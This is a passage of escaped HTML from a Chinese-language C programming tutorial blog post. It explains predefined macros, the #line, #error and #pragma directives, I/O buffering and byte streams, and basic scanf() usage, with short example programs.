class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e !defined FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"预定义宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%A2%84%E5%AE%9A%E4%B9%89%E5%AE%8F\" class=\"headerlink\" title=\"预定义宏\"\u003e\u003c/a\u003e预定义宏\u003c/h3\u003e\u003cp\u003eC 语言提供一些预定义的宏,可以直接使用。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e__DATE__\u003c/code\u003e:编译日期,格式为“Mmm dd yyyy”的字符串(比如 Nov 23 2021)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__TIME__\u003c/code\u003e:编译时间,格式为“hh:mm:ss”。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__FILE__\u003c/code\u003e:当前文件名。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__LINE__\u003c/code\u003e:当前行号。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__func__\u003c/code\u003e:当前正在执行的函数名。该预定义宏必须在函数作用域使用。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__STDC__\u003c/code\u003e:如果被设为1,表示当前编译器遵循 C 标准。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__STDC_HOSTED__\u003c/code\u003e:如果被设为1,表示当前编译器可以提供完整的标准库;否则被设为0(嵌入式系统的标准库常常是不完整的)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__STDC_VERSION__\u003c/code\u003e:编译所使用的 C 语言版本,是一个格式为\u003ccode\u003eyyyymmL\u003c/code\u003e的长整数,C99 版本为“199901L”,C11 版本为“201112L”,C17 版本为“201710L”。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面示例打印这些预定义宏的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;This function: %s\\n\u0026#34;\u003c/span\u003e, __func__);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;This file: %s\\n\u0026#34;\u003c/span\u003e, __FILE__);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;This line: %d\\n\u0026#34;\u003c/span\u003e, __LINE__);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Compiled on: %s %s\\n\u0026#34;\u003c/span\u003e, __DATE__, __TIME__);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;C Version: %ld\\n\u0026#34;\u003c/span\u003e, __STDC_VERSION__);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 输出如下\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eThis function: main\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eThis file: test.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eThis line: 7\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eCompiled on: Mar 29 2021 19:19:37\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eC Version: 201710\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"line\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#line\" class=\"headerlink\" title=\"#line\"\u003e\u003c/a\u003e#line\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#line\u003c/code\u003e指令用于覆盖预定义宏\u003ccode\u003e__LINE__\u003c/code\u003e,将其改为自定义的行号。后面的行将从\u003ccode\u003e__LINE__\u003c/code\u003e的新值开始计数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 将下一行的行号重置为 300\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eline\u003c/span\u003e 300\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,紧跟在\u003ccode\u003e#line 300\u003c/code\u003e后面一行的行号,将被改成300,其后的行会在300的基础上递增编号。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#line\u003c/code\u003e还可以改掉预定义宏\u003ccode\u003e__FILE__\u003c/code\u003e,将其改为自定义的文件名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eline\u003c/span\u003e 300 \u003cspan class=\"string\"\u003e\u0026#34;newfilename\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,下一行的行号重置为\u003ccode\u003e300\u003c/code\u003e,文件名重置为\u003ccode\u003enewfilename\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"error\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#error\" class=\"headerlink\" title=\"#error\"\u003e\u003c/a\u003e#error\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#error\u003c/code\u003e指令用于让预处理器抛出一个错误,终止编译。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e __STDC_VERSION__ != 201112L\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eerror\u003c/span\u003e Not C11\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例指定,如果编译器不使用 C11 标准,就中止编译。GCC 编译器会像下面这样报错。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -std=c99 newish.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enewish.c:14:2: error: \u003cspan class=\"comment\"\u003e#error Not C11\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,GCC 使用 C99 标准编译,就报错了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e INT_MAX \u0026lt; 100000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eerror\u003c/span\u003e int type is too small\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,编译器一旦发现\u003ccode\u003eINT\u003c/code\u003e类型的最大值小于\u003ccode\u003e100,000\u003c/code\u003e,就会停止编译。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#error\u003c/code\u003e指令也可以用在\u003ccode\u003e#if...#elif...#else\u003c/code\u003e的部分。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e defined WIN32\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e defined MAC_OS\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e defined LINUX\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eerror\u003c/span\u003e NOT support the operating system\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"pragma\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#pragma\" class=\"headerlink\" title=\"#pragma\"\u003e\u003c/a\u003e#pragma\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#pragma\u003c/code\u003e指令用来修改编译器属性。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 使用 C99 标准\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003epragma\u003c/span\u003e c9x on\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例让编译器以 C99 标准进行编译。\u003c/p\u003e\u003ch2 id=\"I-x2F-O-函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#I-x2F-O-%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"I/O 函数\"\u003e\u003c/a\u003eI/O 函数\u003c/h2\u003e\u003cp\u003eC 语言提供了一些函数,用于与外部设备通信,称为输入输出函数,简称 I/O 函数。输入(import)指的是获取外部数据,输出(export)指的是向外部传递数据。\u003c/p\u003e\u003ch3 id=\"缓存和字节流\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%BC%93%E5%AD%98%E5%92%8C%E5%AD%97%E8%8A%82%E6%B5%81\" class=\"headerlink\" title=\"缓存和字节流\"\u003e\u003c/a\u003e缓存和字节流\u003c/h3\u003e\u003cp\u003e严格地说,输入输出函数并不是直接与外部设备通信,而是通过缓存(buffer)进行间接通信。这个小节介绍缓存是什么。\u003c/p\u003e\u003cp\u003e普通文件一般都保存在磁盘上面,跟 CPU 相比,磁盘读取或写入数据是一个很慢的操作。所以,程序直接读写磁盘是不可行的,可能每执行一行命令,都必须等半天。C 语言的解决方案,就是只要打开一个文件,就在内存里面为这个文件设置一个缓存区。\u003c/p\u003e\u003cp\u003e程序向文件写入数据时,程序先把数据放入缓存,等到缓存满了,再把里面的数据会一次性写入磁盘文件。这时,缓存区就空了,程序再把新的数据放入缓存,重复整个过程。\u003c/p\u003e\u003cp\u003e程序从文件读取数据时,文件先把一部分数据放到缓存里面,然后程序从缓存获取数据,等到缓存空了,磁盘文件再把新的数据放入缓存,重复整个过程。\u003c/p\u003e\u003cp\u003e内存的读写速度比磁盘快得多,缓存的设计减少了读写磁盘的次数,大大提高了程序的执行效率。另外,一次性移动大块数据,要比多次移动小块数据快得多。\u003c/p\u003e\u003cp\u003e这种读写模式,对于程序来说,就有点像水流(stream),不是一次性读取或写入所有数据,而是一个持续不断的过程。先操作一部分数据,等到缓存吞吐完这部分数据,再操作下一部分数据。这个过程就叫做字节流操作。\u003c/p\u003e\u003cp\u003e由于缓存读完就空了,所以字节流读取都是只能读一次,第二次就读不到了。这跟读取文件很不一样。\u003c/p\u003e\u003cp\u003eC 语言的输入输出函数,凡是涉及读写文件,都是属于字节流操作。输入函数从文件获取数据,操作的是输入流;输出函数向文件写入数据,操作的是输出流。\u003c/p\u003e\u003ch3 id=\"printf-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#printf-1\" class=\"headerlink\" title=\"printf()\"\u003e\u003c/a\u003eprintf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e是最常用的输出函数,用于屏幕输出,原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e,详见《基本语法》一章。\u003c/p\u003e\u003ch3 id=\"scanf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#scanf\" class=\"headerlink\" title=\"scanf()\"\u003e\u003c/a\u003escanf()\u003c/h3\u003e\u003ch4 id=\"基本用法-2\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95-2\" class=\"headerlink\" title=\"基本用法\"\u003e\u003c/a\u003e基本用法\u003c/h4\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e函数用于读取用户的键盘输入。程序运行到这个语句时,会停下来,等待用户从键盘输入。用户输入数据、按下回车键后,\u003ccode\u003escanf()\u003c/code\u003e就会处理用户的输入,将其存入变量。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e的语法跟\u003ccode\u003eprintf()\u003c/code\u003e类似。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;i);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的第一个参数是一个格式字符串,里面会放置占位符(与\u003ccode\u003eprintf()\u003c/code\u003e的占位符基本一致),告诉编译器如何解读用户的输入,需要提取的数据是什么类型。这是因为 C 语言的数据都是有类型的,\u003ccode\u003escanf()\u003c/code\u003e必须提前知道用户输入的数据类型,才能处理数据。它的其余参数就是存放用户输入的变量,格式字符串里面有多少个占位符,就有多少个变量。\u003c/p\u003e\u003cp\u003e上面示例中,\u003ccode\u003escanf()\u003c/code\u003e的第一个参数\u003ccode\u003e%d\u003c/code\u003e,表示用户输入的应该是一个整数。\u003ccode\u003e%d\u003c/code\u003e就是一个占位符,\u003ccode\u003e%\u003c/code\u003e是占位符的标志,\u003ccode\u003ed\u003c/code\u003e表示整数。第二个参数\u003ccode\u003e\u0026amp;i\u003c/code\u003e表示,将用户从键盘输入的整数存入变量\u003ccode\u003ei\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,变量前面必须加上\u003ccode\u003e\u0026amp;\u003c/code\u003e运算符(指针变量除外),因为\u003ccode\u003escanf()\u003c/code\u003e传递的不是值,而是地址,即将变量\u003ccode\u003ei\u003c/code\u003e的地址指向用户输入的值。如果这里的变量是指针变量(比如字符串变量),那就不用加\u003ccode\u003e\u0026amp;\u003c/code\u003e运算符。\u003c/p\u003e\u003cp\u003e下面是一次将键盘输入读入多个变量的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d%d%f%f\u0026#34;\u003c/span\u003e, \u0026amp;i, \u0026amp;j, \u0026amp;x, \u0026amp;y);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,格式字符串\u003ccode\u003e%d%d%f%f\u003c/code\u003e,表示用户输入的前两个是整数,后两个是浮点数,比如\u003ccode\u003e1 -20 3.4 -4.0e3\u003c/code\u003e。这四个值依次放入\u003ccode\u003ei\u003c/code\u003e、\u003ccode\u003ej\u003c/code\u003e、\u003ccode\u003ex\u003c/code\u003e、\u003ccode\u003ey\u003c/code\u003e四个变量。\u003c/p\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e处理数值占位符时,会自动过滤空白字符,包括空格、制表符、换行符等。所以,用户输入的数据之间,有一个或多个空格不影响\u003ccode\u003escanf()\u003c/code\u003e解读数据。另外,用户使用回车键,将输入分成几行,也不影响解读。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e-20\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3.4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 